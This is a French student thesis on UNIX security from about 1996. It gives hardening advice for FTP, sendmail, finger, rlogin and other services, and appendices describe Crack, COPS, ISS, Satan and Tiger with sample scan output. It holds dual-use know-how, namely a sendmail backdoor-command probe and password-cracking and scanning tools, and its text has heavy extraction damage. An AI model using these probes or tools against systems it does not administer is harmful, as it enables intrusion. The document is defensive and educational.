L'identi cation se base, comme d'habitude, sur les nom et mot de passe de l'utilisateur. Pour cette raison, et parce que les transferts de donn es ne sont pas e cod s, le protocole FTP est sujet au risque d' coute du r seau. e e e En plus des noms d'utilisateurs normaux, vous pouvez con gurer votre FTP de mani re ce qu'il accepte les utilisateurs anonymes. Ceux-ci ouvrent une e a session sous le nom anonymous ou ftp, et donnent, par convention, leur adresse de courrier lectronique comme mot de passe. e Ce service est tellement standard et utile, que nous souhaitons d crire sa e con guration de mani re assez pr cise. C'est ce que nous vous proposons dans les e e paragraphes qui suivent.

etc ftpusers Le chier etc ftpusers vous permet de restreindre le service FTP que vous o rez en interdisant aux utilisateurs dont le nom gure dans ce chier d'ouvrir une session FTP.
Nous vous conseillons de placer dans ce chier les noms tels que ceux gurant ci-dessous. Evidemment ces noms d pendent de chaque syst me. e e
root uucp news bin daemon adm lp news uucp

68

CHAPITRE 6. TCP IP

Il est particuli rement d conseill de permettre root d'ouvrir une session FTP. e e e a Utiliser le mot de passe du super-utilisateur, alors qu'il est susceptible d'^tre ine tercept , est en e et tr s imprudent. e e

Con gurer l'acc s en FTP anonyme e
Pour autoriser ce type d'acc s, il vous faut cr er un compte au nom de l'utie e lisateur FTP. Ci-dessous gure un exemple de ligne correspondante du chier etc passwd. index etc! passwd
ftp:*:404:1:: home ftp: bin false

Remarquez que l'utilisateur FTP a pour shell bin false qui n'est pas un shell valide. Son compte est verrouill . Le r pertoire home ftp est, dans cet exemple, e e le r pertoire racine des chiers du serveur de FTP anonyme. e Ce r pertoire doit ^tre, contrairement ce que disent certaines pages e e a de manuels, poss d par root, et avoir les droits `r-xr-xr-x'. Il comportera, en ee g n ral les sous-r pertoires suivants. ee e bin ; ce r pertoire contiendra une copie de la commande ls. Cette copie e devra ^tre un binaire li de mani re statique, sinon vous aurez galement e e e e a copier dans l'arborescebce du serveur les librairies n cessaires. e Le r pertoire bin doit ^tre poss d par root, comme la commande ls qui e e ee s'y trouve. La commande ls et le r pertoire bin doivent avoir les droits e `--x--x--x'. etc ; ce r pertoire contiendra une copie des chiers etc passwd et e etc group. Vous prendrez soin d'y remplacer les mots de passe crypt s e par une toile. Ces chiers ne servent qu' la commande ls pour a cher les e a noms d'utilisateurs et de groupes. Les chiers etc passwd et etc group doivent ^tre poss d s par root, et avoir e ee les droits `r--r--r--'. Le r pertoire etc doit ^tre poss d par root, et avoir e e ee les droits `--x--x--x'. pub ; ce r pertoire contiendra l'ensemble des chiers que vous voulez mettre e a disposition des utilisateurs du service. Attention ne pas y mettre des a liens symboliques sortant de l'arborescence du serveur ! Le r pertoire pub doit ^tre poss d par root, et avoir les droits `r-xr-xr-x'. e e ee

6.3. QUELQUES SERVICES

69

6.3.3 Telnet

Telnet peut poser plusieurs probl mes de s curit . e e e Lorsque vous vous connectez par la commande un ordinateur distant, vous a vous exposez un risque d' coute que nous avons d j voqu au chapitre a e eae e 2. Votre mot de passe peut ^tre ainsi vol . Mais l'ensemble des informations e e qui transitent sur la ligne est galement sujet au m^me danger. e e Qui plus est, des sessions telnet ont d j t d tourn es. Le pirate prend ea ee e e alors le contr^le de la connexion apr s que l'utilisateur l'ait ouverte. o e Pour avoir acc s a votre ordinateur depuis un site distant, il vaut mieux utiliser e une ligne t l phonique. Bien que non exempte de risques, cette derni re m thode ee e e reste bien plus s^re que l'utilisation d'Internet. u

6.3.4 SMTP

SMTP est le protocole charg de l'acheminement du courrier lectronique sous e e UNIX. Sur la majorit des syst mes, c'est le programme sendmail qui se charge e e du travail. Sa con guration se fait au moyen du chier etc sendmail.cf. Pour d terminer e les destinataires de messages, sendmail se base sur les noms d'utilisateurs et les alias d nis dans le chier etc aliases 3 . e Voici quelques conseils concernant sendmail. 1. Nous vous engageons a v ri er que votre version du programme ne comporte e pas de trou de s curit connu. Pour cela, vous pouvez proc der comme suit. e e e
bash$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^ '. 220 hercule.brunox.fr ESMTP Bonjour Sendmail 8.7.5 8.6.9 ready at Sat, 22 Jun 1996 20:25:31 +0100 wiz 500 Command unrecognized debug 500 Command unrecognized kill 500 Command unrecognized quit

3 Ce chier peut se trouver dans d'autres r pertoires suivant la con guration du e syst me e
:

70
221 hercule.brunox.fr closing connection Connection closed by foreign host.

CHAPITRE 6. TCP IP

2. 3. 4. 5.

Si sendmail r ponds l'une des trois commandes wiz, debug ou kill par e a un autre message que "500 Command unrecognized" remplacez le par une version plus r cente. e Prot gez votre chier d'alias. cf. 5.2.2. e Enlevez l'alias decode de cette base de donn es. e V ri ez que le mot de passe wizard est d sactiv dans le chier sendmail.cf. e e e Enlevez pour cela la ligne qui commence par les lettres OW. Prenez l'habitude d'installer syst matiquement la derni re version du proe e gramme.

Nous vous invitons galement lire 13 . On n'est jamais mieux servis que par e a les professionnels! Installer un serveur de noms n'est pas une des choses les plus faciles qui soient. Un certains nombre de chiers sont con gurer de mani re faire fonctionner a e a l'ensemble. Sachez qu'il est possible d'exploiter les faiblesses de certains DNS pour r aliser e des impostures. Veuillez donc pr^ter la plus grande attention la mise en place e a de ce service. 1 peut vous aider dans cette t^che. a

6.3.5 DNS

6.3.6

Le choix de laisser en place ce service revient peu pr s au m^me que celui a e e pr sent au 6.3.1. En e et, nger peut, de m^me que systat, apporter de pr cieuses e e e e informations des pirates qui voudraient s'introduire dans votre syst me. a e
bash$ finger Login Name brn Moi ?? brn Moi ?? brn Moi ?? brn Moi ?? brn Moi ?? root root Tty 1 2 5 6 p0 3 Idle Login Time Office Jun 22 10:14 Jun 22 10:15 Jun 22 10:15 Jun 22 10:15 Jun 22 16:46 :0.0 Jun 22 20:08 Office Phone

nger

45 10:37 12 3

6.3. QUELQUES SERVICES

71

Par ailleurs, il convient galement de v ri er le UID sous lequel le serveur e e nger est ex cut . En e et, si cet UID est celui du super-utilisateur, n'importe quel e e utilisateur peut, en faisant pointer son chier .plan sur le chier qui l'int resse, lire e les donn es qui s'y trouvent. V ri ez ce sujet la ligne correspondante du chier e e a etc inetd.conf.

6.3.7 HTTP

HTTP est le protocole utilis pour faire fonctionner le World Wide Web e WWW. Mettre en place un serveur de ce type est loin d'^tre une mince a aire. e Nous vous engageons donc a lire le chapitre 18 de 7 qui traite du sujet.

Cependant, nous vous proposons d' voquer ici quelques conseils qui peuvent e ^tre donn s en la mati re. e e e Ne faites pas fonctionner votre serveur HTTP avec un UID 0. Si le serveur a besoin de cet UID au d marrage pour pouvoir e ectuer l'appel chroot, e il doit ensuite prendre un UID d'utilisateur n'ayant acc s qu'aux chiers e concernant le serveur et aucun autre. a Les scripts cgi-bin utilis s par votre serveur ne doivent jamais ^tre accessibles e e en lecture, ceci pour emp^cher d' ventuels pirates d'y chercher des failles. e e N' crivez que des scripts cgi-bin v ri ant la syntaxe de ce qu'on leur passe e e en param tre. Il est imp ratif de rejeter tout param tre ne correspondant e e e pas la syntaxe attendue. a Ne m^lez pas les arborescences de vos serveurs HTTP et FTP. e Faites attention aux liens symboliques pointant en dehors de l'arborescence du serveur.

6.3.8 POP

Le protocole POP est utilis pour r cup rer du courrier lectronique sur une e e e e machine distante. Le syst me d'identi cation utilis est le plus souvent bas sur e e e le nom d'utilisateur et le mot de passe. Le transfert de donn es n'est pas cod e e ... Pour ces raisons, POP est sujet aux m^mes risques d' coute que telnet, rlogin e e

6.3.9 NNTP

Les serveurs de news utilisent le protocole NNTP pour changer leurs donn es. e e Le contr^le d'acc s a ces serveurs est bas sur les noms de machines. Comme nous o e e

72
l'avons vu, ce moyen d'authenti cation n'est pas s^r. u

CHAPITRE 6. TCP IP

Cela dit, dans la mesure o vous n'avez pas d'informations secr tes sur votre u e serveur, le fait qu'un pirate acc de aux donn es qui s'y trouvent ne pr^te pas e e e a cons quence. e En n, ajoutons qu'un rewall peut vous aider prot ger e cacement votre a e serveur de news cf. 2 . Le programme rlogin fournit les m^mes services que telnet quelques di e a e rences pr s. e 1. Lorsqu'une session commence, le nom de l'utilisateur est automatiquement transmis a la machine distante. 2. Si la machine locale est un trusted host ou que l'utilisateur est un trusted user, aucun mot de passe n'est demand . Vous avez bien lu. e Le programme rsh fonctionne de mani re semblable rlogin. Sa fonction se e a limite cependant l'ex cution d'une seule commande sur la machine distante. a e Outre le risque d' coute sur le r seau, les probl mes de s curit li s ces e e e e e e a commandes proviennent, comme vous l'aurez devin , des m canismes de trusted e e host et trusted user. Les trusted hosts sont sp ci s dans le chier etc hosts.equiv. Inutile de e e vous rappeler les risques d'imposture qui existent sur Internet : il est vident e qu'un nom de machine ne peut constituer une garantie. Ce m canisme est donc e particuli rement dangereux. e Les trusted users peuvent ^tre pr cis s par chaque utilisateur dans le chier e e e .rhosts de leur r pertoire home. Nous vous conseillons donc de v ri er soigneusee e ment le contenu de ces chiers. Ils doivent avoir les permissions `rw-------' a n qu'on ne puisse ni les modi er, ni conna^tre facilement leur contenu.
L'une des forces d'Internet est qu'il s'adapte de mani re tr s souple aux e e changements de topologie. Si une route est coup e, une autre est utilis e. e e Le d mon routed est charg d' changer les informations sur les routes avec les e e e machines qui sont voisines du routeur o il tourne. Malheureusement, routed est u

6.3.10 rlogin et rsh

6.3.11 Le d mon routed e

6.3. QUELQUES SERVICES
un programme tr s con ant qui est susceptible d'^tre abus . e e e Paradoxalement, l'une des forces d'Internet fait ici sa faiblesse.

73

7 recommande donc de d sactiver routed et d'utiliser en lieu et place des e routes xes. On perd alors en souplesse, mais on y gagne en s curit . e e Utiliser UUCP travers un r seau TCP IP pose selon 7 plusieurs probl mes a e e de s curit . En particulier, aucun m canisme de codage n'est disponible. e e e Si vous voulez tout de m^me utiliser uucp, nous vous conseillons de lire les e conseils qui gurent ce sujet dans 7 . Une mauvaise con guration peut en e et a fournir bien des points d'attaque un pirate. a Les stations de travail et terminaux sous X Window sont de plus en plus r pandus. Les serveurs X Window posent des probl mes de s curit sp ci ques. e e e e e En e et, il est possible si on ne prend pas de pr cautions, d'acc der tout ce e e a qui est a ch sur votre cran, ou a tout ce vous tapez sur votre clavier. e e Il a donc t n cessaire de mettre en place des m canismes de contr^le d'acc s ee e e o e sp ci ques ce service. Deux principes existent. e a Le premier consiste autoriser une liste de machines se connecter au a a serveur. C'est la commande xhost qui est alors utilis e. e Le second m canisme permet un contr^le plus n, puisqu'il consiste autoe o a riser l'acc s au serveur seulement une liste d'utilisateurs. Il est donc plus e a s^r, d'autant plus qu'il utilise pour identi er les utilisateurs des nombres u appel s magic cookies. e Pour plus de d tails, nous vous conseillons de consulter 10 o se trouve une e u documentation sur ce sujet. Le chapitre 17 de 7 d veloppe aussi ces aspects. e

6.3.12 UUCP

6.3.13 X Window

6.3.14 Autres services : IRC ...

La cibie d'Internet IRC conna^t un grand succ s. Elle permet plusieurs
e a personnes d'entrer en communication depuis divers syst mes. e Bien qu'on puisse utiliser IRC avec telnet, des programmes clients ont t ee sp cialement conus pour cette utilisation. Or, certains de ces programmes ont e c

74

CHAPITRE 6. TCP IP

t volontairement distribu s avec des trous de s curit , de mani re permettre ee e e e e a a leurs auteurs de p n trer les syst mes o ils seraient utilis s. ee e u e Nous vous recommandons donc la plus grande prudence en la mati re. e D'autres programmes, dont des jeux, existent galement. L encore, il est dife a cile de d terminer si ces programmes contiennent des pi ges ou non cf. chapitre e e 5.

Conclusion
La s curit des syst mes UNIX connect s Internet est un vaste sujet qui se e e e e a trouve a l'intersection de nombreuses disciplines. Nous voulions, dans ce m moire, vous donner une vue d'ensemble des risques e qui existent en la mati re sous UNIX. Notre but tait de sensibliser avant tout, e e car beaucoup d'incidents sont d^s une mauvaise information des utilisateurs. u a Loin d'^tre une r f rence, cet ouvrage se veut une introduction. Nous sommes e ee loins d'avoir balay tous les sujets critiques concernant la s curit sous UNIX. e e e Ainsi, NFS, que nous n'avons m^me pas cit , peut, par exemple, poser plusieurs e e probl mes. e Nous esp rons simplement que vous aurez trouv ici, de quoi susciter votre e e curiosit et vous encourageons approfondir les sujets que nous avons voqu s 4 , e a e e en consultant les livres et sites Internet gurant dans la bibliographie.

4 Et ceux que nous avons pass s sous silence. e
:

75

76

77

Annexe A Les outils votre disposition a
Cette annexe pr sente un certain nombre d'outils que vous pourrez trouver e sur Internet.

A.1 Int grit : tripwire e e
De nombreux pirates se fabriquent, apr s avoir r ussi p n trer dans un e e a ee syst me, un ou plusieurs moyens d'y entrer nouveau facilement. Il peuvent pour e a cela modi er un ou plusieurs chiers. Or, il est tr s di cile de v ri er l'int grit d'un syst me UNIX entier. Le e e e e e programme tripwire peut vous y aider. Il vous permet de stocker dans une base de donn es l' tat des chiers de votre e e syst me un moment donn , puis de v ri er par la suite quels changements ont e a e e t port s a ces chiers. ee e Le programme tripwire est disponible a l'adresse :
"http: www.urec.fr Ftp securite Reseaux Logiciels".

A.2 Mots de passe
Le probl me des mots de passe est voqu au chapitre 2 de ce m moire. Nous e e e e vous pr sentons ici deux outils qui peuvent vous aider dans le choix et la v ri cation e e de bons mots de passe.

78

ANNEXE A. LES OUTILS A VOTRE DISPOSITION

Crack est un programme qui essaie de deviner les mots de passe de votre syst me a partir des cha^nes crypt es qui gurent dans le chier passwd. e
e Crack peut utiliser tout dictionnaire que vous mettez sa disposition. Il se a base galement sur toutes les informations contenues dans le chier de mots de e passe. Un exemple de r sultat de l'ex cution de Crack gure au chapitre 2. Ce e e programme est diponible l'adresse : a
"http: www.urec.fr Ftp securite Reseaux Logiciels"

A.2.1 Crack

A.2.2 npasswd

Le programme npasswd est conu pour remplacer la commmande passwd c standard. Il permet de v ri er la qualit des mots de passe que l'utilisateur saisit. Si le e e mot de passe ne satisfait pas les crit res en vigueur, il est rejet et l'utilisateur e e doit en saisir un autre. C'est donc un outil tr s utile mettre en place dans le cadre d'une politique e a de s curit . e e Le programme npasswd est disponible a l'adresse :
"http: www.urec.fr Ftp securite Reseaux Logiciels"

A.3 R seaux e
Les produits ci-dessous sont tous, l'exception d'un seul, des scanners. Ils a v ri ent de mani re syst matique certains aspects de votre con guration. e e e Ils peuvent ce titre ^tre utilis s par des pirates pour d terminer les faiblesses a e e e de votre syst me. Nous vous conseillons donc d'adopter un ou plusieurs d'entre e eux, et de les ex cuter r guli rement. e e e COPS, en plus des v ri cations de base, comporte un petit module qui tente e de casser vos mots de passe, et permet galement d'analyser les changements e

A.3.1 COPS

A.3. RESEAUX
intervenus sur les chiers que vous souhaitez surveiller. Ci-dessous se trouve un exemple de r sultat de l'ex cution de COPS. e e
ATTENTION: Security Report for Sun Jun 23 13:40:23 GMT+0100 1996 from host hercule Warning! NFS file system exported with no restrictions! Warning! NFS file system exported with no restrictions! Warning! NFS file system exported with no restrictions! Warning! NFS file system exported with no restrictions! Warning! usr spool uucp is _World_ writable! Warning! etc securetty is _World_ readable! Warning! User uucp's home directory var spool uucppublic is mode 01777! Warning! User nobody's home directory dev null is not a directory! mode 020666 Warning! User guest's home directory dev null is not a directory! mode 020666 Warning! Password file, line 15, uid 8 chars postmaster:*:14:12:postmaster: var spool mail: bin bash Warning! Password file, line 16, negative user id: nobody:*:-1:100:nobody: dev null: Warning! Password Problem: Guessed: manu shell: bin tcsh ATTENTION: CRC Security Report for Sun Jun 23 13:38:26 GMT+0100 1996 from host hercule added added added -rwxr-xr-x root bin Aug 7 03:02:11 1995 -rwxr-xr-x root bin Aug 7 03:02:11 1995 -rwxr-xr-x root bin Aug 15 00:10:30 1995 bin csh bin tcsh bin zsh

79

COPS est disponible l'adresse : a
"http: www.urec.fr Ftp securite Reseaux Logiciels"

A.3.2 ISS

ISS est maintenant devenu un programme commercial. Une version gratuite et brid e est cependant disponible. Il permet de v ri er la con guration d'une s rie e e e de machines en une seule fois. Pour cela, il vous su t de sp ci er un intervalle e

80
d'adresses IP

ANNEXE A. LES OUTILS A VOTRE DISPOSITION
Voici un exemple de ce que donne son ex cution. e

--

Inet Sec Scanner Log By Christopher Klaus C 1995 -Email: cklaus@iss.net Web: http: iss.net iss ================================================================ Scanning from 127.0.0.1 to 127.0.0.1 127.0.0.1 localhost

SMTP:220 hercule.brunox.fr ESMTP Bonjour - Sendmail 8.7.5 8.6.9 ready at Sun, 23 250 guest guest@hercule.brunox.fr 550 decode... User unknown 550 bbs... User unknown 250 lp lp@hercule.brunox.fr 550 uudecode... User unknown 500 Command unrecognized 500 Command unrecognized 221 hercule.brunox.fr closing connection FTP:220 hercule FTP server Version wu-2.41 Tue Aug 8 15:50:43 CDT 1995 read 331 Guest login ok, send your complete e-mail address as password. 230 Guest login ok, access restrictions apply. 257 " " is current directory. 550 test: Permission denied. 553 test: Permission denied. Delete 221 Goodbye.

La version gratuite de ISS est diponible a l'adresse :
"http: www.urec.fr Ftp securite Reseaux Logiciels"

Satan est un scanner semblable COPS et ISS. Il a d j une fameuse r a ea e putation. Ne l'ayant pas essay , nous ne sommes pas en mesure de vous en dire plus. e Ce programme est disponible l'adresse : a
"http: www.urec.fr Ftp securite Reseaux Logiciels Satan"

A.3.3 Satan

A.3. RESEAUX

81

Le programme tcpwrapper est un compl ment inetd. Il vous permet e a d'enregistrer dans les journaux du syst me des lignes correspondant chaque e a connexion entrante. Qui plus est, il o re des fonctions de ltrage vous donnant la possibilit de e refuser ou d'autoriser les connexions certains services, en fonction de l'adresse a IP des machines d'o proviennent les demandes. u Ce programme est install par d faut dans la distribution Slackware de Linux. e e Il est diponible a l'adresse :
"http: www.urec.fr Ftp securite Reseaux Logiciels"

A.3.4 tcpwrapper

Tiger est l'un des programmes mis au point par l'universit du Texas en e r ponse une s rie d'attaques dont elle avait t la victime. e a e ee Ce programme fait une foule de v ri cations comme vous pouvez le constater e sur l'exemple ci-dessous. Une de ses originalit s consiste en un syst me d'explicae e tion qui vous permet d'obtenir une ou deux phrases pour chaque type de messages g n r . e ee
Security scripts *** 2.2.3, 1994.0309.2038 *** Fri Jun 14 09:49:07 GMT+0100 1996 09:49 Beginning security report for hercule i586 Linux 1.2.13.  Performing check of passwd files...  Performing check of group files...  Performing check of user accounts...  Checking accounts from etc passwd. --WARN-- acc001w Login ID news is disabled, but still has a valid shell  bin sh. --WARN-- acc001w Login ID uucp is disabled, but still has a valid shell  bin sh.  Performing check of localhost etc hosts.equiv and .rhosts files...

A.3.5 Tiger 

Checking accounts from

etc passwd...

82

ANNEXE A. LES OUTILS A VOTRE DISPOSITION 

Performing check of .netrc files...  Checking accounts from etc passwd... 

Performing check of PATH components...  Only checking user 'root' --WARN-- path002w usr bin genclass in root's PATH from default is not owned by root owned by bin. --WARN-- path002w usr bin nn in root's PATH from default is not owned by root owned by news.  Performing check of anonymous FTP...  Performing checks of mail aliases...  Checking aliases from etc aliases.  Performing check of 'services' and 'inetd'...  Checking services from etc services. --INFO-- inet004i at-echo is 204 tcp local addition. ... --INFO-- inet004i rtelnet is 107 tcp local addition.  Performing NFS exports check...  Performing check of system file permissions... --WARN-- permw should not have owner search. --WARN-- permw should not have group search. --WARN-- permw etc should not have owner search. --WARN-- permw etc should not have group search. --WARN-- permw bin should not have owner search. --WARN-- permw bin should not have group search. --WARN-- permw usr should not have owner search. ... --WARN-- permw etc passwd should not have owner read. --WARN-- permw etc passwd should not have group read. --WARN-- permw etc passwd should not have world read.  Performing signature check of system binaries...  Checking for known intrusion signs...  Performing check of files in system mail spool...

A.3. RESEAUX 
Performing system specific checks...  Running '. scripts check_sendmail'...  Checking sendmail...  Checking setuid executables...  Checking setgid executables...  Checking unusual file names...  Looking for unusual device files...  Checking symbolic links...  Checking for writable directories...  Performing check of embedded pathnames...  Running Crack on password files...

83

Le programme Tiger, tr s complet, est disponible l'adresse : e a
"http: www.urec.fr Ftp securite Reseaux Logiciels TAMU"

84

ANNEXE A. LES OUTILS A VOTRE DISPOSITION

85

Annexe B V ri ez votre syst me e e
Nous vous proposons dans cette annexe, une check list de votre syst me UNIX. e Nous nous sommes inspir s ici de 7 . Le serveur de 3 met galement votre e e a disposition une check list tablie par le CERT australien, et un document intitul e e savoir si on a t pirat ", qui contiennent une foule de conseils. ee e

Comptes d'utilisateurs et mots de passe

Chaque utilisateur doit avoir un compte et un mot de passe de bonne qualit . e V ri ez les chiers de con guration de chaque utilisateur valeur du PATH, e chiers non lisibles et non modi ables... N'utilisez pas un m^me mot de passe sur plusieurs machines. e Changez les mots de passe par d faut qui peuvent se trouver sur votre syse t me. e Evitez de donner plusieurs utilisateurs un m^me UID sauf, par exemple, a e pour les comptes UUCP. Utilisez les groupes a bon escient. Faites attention a la commande su. Examinez r guli rement les journaux syst mes. e e e Utilisez les moyens qu'UNIX met votre disposition pour prot ger vos a e chiers.

Utilisateurs, groupes et super-utilisateur

Syst me de chiers UNIX e

86

ANNEXE B. VERIFIEZ VOTRE SYSTEME
Utilisez la commande umask selon vos besoins. Utilisez tripwire pour v ri er l'int grit de vos chiers. e e e N' crivez jamais de scripts en langage shell qui soient SUID ou SGID. e Recherchez r guli rement les chiers SUID ou SGID qui se trouvent sur e e votre syst me. e

Menaces programm es e

V ri ez que les sources ou les binaires en votre possession sont bien ceux e distribu s par les auteurs d'un logiciel. e Contr^lez, dans la mesure du possible, le code source des programmes et les o scripts d'installation. N'installez jamais de logiciel en tant que root. Installez, si possible, les nouveaux logiciels sur une machine de test. V ri ez votre PATH et tous vos chiers de con guration. e V ri ez vos alias de courrier lectronique. e e V ri ez la con guration des programmes at et cron. e V ri ez r guli rement le chier inetd.conf. e e e Supprimez tout service r seau qui est inutilis . e e Utilisez un wrapper. V ri ez la version de votre programme ftpd. e V ri ez votre con guration de FTP anonyme. A ce sujet, 10 propose un e document contenant les conseils essentiels. V ri ez l'usage qui est fait de votre service FTP. e V ri ez la version de votre programme sendmail. e D sactivez le mot de passe wizard dans le chier de con guration de sende mail. V ri ez votre chier d'alias de courrier lectronique. e e Consultez un ouvrage sur sendmail.

R seaux e

87
V ri ez la con guration de votre serveur de noms. e V ri ez la version de votre programme nger. e V ri ez que ngerd n'est pas ex cut avec un UID 0. e e e D sactivez l'emploi des commandes r... si vous le pouvez. Vous supprimerez e ainsi les probl mes li s aux trusted hosts et trusted users. e e Utilisez des scanners de mani re d terminer vos probl mes de con e a e e guration. Renseignez-vous sur les rewalls. Renseignez-vous sur comment con gurer un serveur WWW. En n, nous vous invitons consulter r guli rement les avis des CERT a e e disponibles en 3 et 10 . Attention : nous sommes loins d'avoir voqu ici tous les points cruciaux concere e nant la s curit d'UNIX. Si vous voulez en apprendre plus, reportez-vous aux divers e e ouvrages cit s dans la bibliographie. e

88

INDEX

Index
.emacs, 56 .exrc, 56 .forward, 56 .login, 56 .pro le, 43, 56 .rhosts, 42, 56, 72 etc aliases, 55, 69 ftpusers, 67 group, 20, 22, 27 hosts.equiv, 72 inetd.conf, 56, 64 passwd, 17, 18, 22 24, 27 sendmail.cf, 69 services, 63 aliases, 55, 69 ARPANET, 59 at, 56 AT&T, 11 13, 21 authenti cation, 23, 61 bact rie, 54 e Berkeley, 12 bombes logiques, 43 BSD, 12 cheval de Troie, 44 52 chmod, 38 chroot, 55 cl de codage, 24 e codage, 29, 61 compteur de liens, 32 COPS, 78 courrier lectronique, 44, 62, 69 e Crack, 25, 78 cron, 56 crypt, 24 DCE, 29 DES, 24 dictionnaire, 25, 27 DNS, 61, 70 ESMTP, 62 chier, 31 nd, 56 nger, 70 rewall, 65, 72 Friday 13th, 44 FTP, 67 FTP anonyme, 68 ftpusers, 67 General Electric, 11 GID, 18, 20 group, 20, 22, 27 groupe, 17, 20 22 hacky, 44 52 Honeywell, 11 hosts.equiv, 72 HTTP, 71 identi cation, 23 IEEE, 13 inetd, 64 65 inetd.conf, 56, 64 int grit , 77 e e IP, 59 60 IRC, 73 ISO, 13

INDEX
ISS, 79 Java, 53 journaux syst me, 27, 56, 65 e Kerberos, 29 lapin, 54 lien, 31 Linux, 13, 63, 65 lois en France, 29 ls, 32 magic cookies, 73 MIME, 53 MIT, 11 mots de passe, 23 30 mots de passe jetables, 29 MULTICS, 11 newgrp, 21 NNTP, 71 noeud, 31 nom de chier, 31 npasswd, 78 one time passwords, 29 Open Software Foundation, 12 ordinateurs reni eurs, voir reni eurs outils, 42, 56, 66, 77 passwd, 17, 18, 22 24, 27, 78 PATH, 43, 44, 56 permissions, 32 35, 55, 56 de chiers, 33, 36 de r pertoires, 34, 37 e en octal, 38 pour le groupe, 33 pour le propri taire, 33 e pour les autres, 33 politique de s curit , 14 16 e e POP, 71 port, 63 portes d rob es, 41 43 e e POSIX, 13 propri taire, 32 e r pertoire, 31 e r seaux, 59 e reni eurs, 26, 29, 60 rep rtoire home, 17 e rlogin, 72 root, 17 routed, 72 rsh, 72 Satan, 80 sel, 24, 26 sendmail, 42, 62, 69 sendmail.cf, 69 serveur de noms, 61 services, 63 services TCP IP, 63 SGID, 35, 56 shadow passwords, 27 Slackware, 65 SMTP, 69 Solaris, 12 sticky bit, 36 su, 19 SUID, 35, 42, 56 Sun, 12 SunOS, 12 supprimer les chiers bizarres, 39 SVR4, 12, 21 syslog, 56 syst me de chiers, 31 40 e systat, 66 System V Release 4, 12 system, 52 TCP IP, 59 66 tcpwrapper, 65, 81 telnet, 61, 69 Tiger, 81 tripwire, 56, 77 trusted host, 72 trusted port, 63 trusted user, 72

89

90
UID, 17 e ectif, 36 r el, 36 e umask, 38 utilisateur, 17 20 UUCP, 73 ver, 53 virus, 52 53 who, 66 World Wide Web, 53, 71 wrapper, 65 X Window, 73 xhost, 73

INDEX

BIBLIOGRAPHIE

91

Bibliographie
1 Paul Albitz and Cricket Liu. DNS and BIND. O'Reilly and Associates Inc., 1992. Les serveurs de noms d'Internet. 2 D. Brent Chapman and Elizabeth D. Zwicky. Building Internet Firewalls. O'Reilly and Associates Inc., 1995. A lire si vous voulez tout savoir sur les murs de feux. 3 Comit R seau des Universit s Cru. Pages web d di es la s curit . Un e e e e e a e e site http: www.univ-rennes1.fr CRU Securite index.html tr s come plet sur la s curit . e e 4 ENSIMAG Ecole Nationale Sup rieure d'Informatique et de Math matiques e e appliqu es de Grenoble. Les documents de l'ENSIMAG peuvent ^tre obtenus e e sur le serveur de l' cole l'adresse http: www-ensimag.imag.fr. e a 5 Jean-Rossel Millet et Fr d ric Vu. ee curit sous unix ? e Document
http: www-ensimag.imag.fr ENSIMAG Administration Les.Cours Systeme.

Vous avez dit : s e disponible l'adresse a

Une analyse du fameux ver d'Internet, Juin 1992.

6 Thierry Besancon Pierre David et Joel Marchand. Administration syst me UNIX. Disponible par FTP l'adresse excalibur.ens.fr dans le r e a e pertoire pub besancon adm-cookbook. Une mine d'infos, 1996. 7 Simson Garfinkel and Gene Spafford. Practical UNIX and Internet Security. O'Reilly and Associates Inc., 2nd edition, February 1996. Une r f rence ee dans le domaine. A lire absolument. 8 Olaf Kirch. Linux Network Administator's Guide. O'Reilly and Associates Inc., 1995. En provenance directe du Linux Documentation Project. Tr s e agr able a lire. e 9 Daniel Manso. Les virus et leurs m thodes. Document disponible a l'adresse e
http:

Comprendre le fonctionnement des virus sur les compatibles PC, Juin 1996.

www-ensimag.imag.fr ENSIMAG Administration Les.Cours Systeme.

92
10 Unit r seaux du Cnrs. e e 
http: www.urec.fr securite.html regorge

BIBLIOGRAPHIE

Pages web d di es la s curit . Ce site e e a e e de documents, conseils, utilitaires relatifs a la s curit . Nous vous conseillons vivement d'y jeter un uil. e e A 11 Christian Rolland. L TEX 2e, guide pratique. Editions Addison-Wesley France, 1995. Un guide bien pratique pour les d butants. e 12 A. Tanenbaum. R seaux - architectures, protocoles et applications. Inter die e tion. Recommand par notre professeur de r seaux. e e 13 Bryan Costales with Eric Allman and Neil Rickert. sendmail. O'Reilly and Associates Inc., 1st edition, November 1993. Tout ce que vous avez toujours voulu savoir sans oser le demander.

Sign up to vote on this title
UsefulNot useful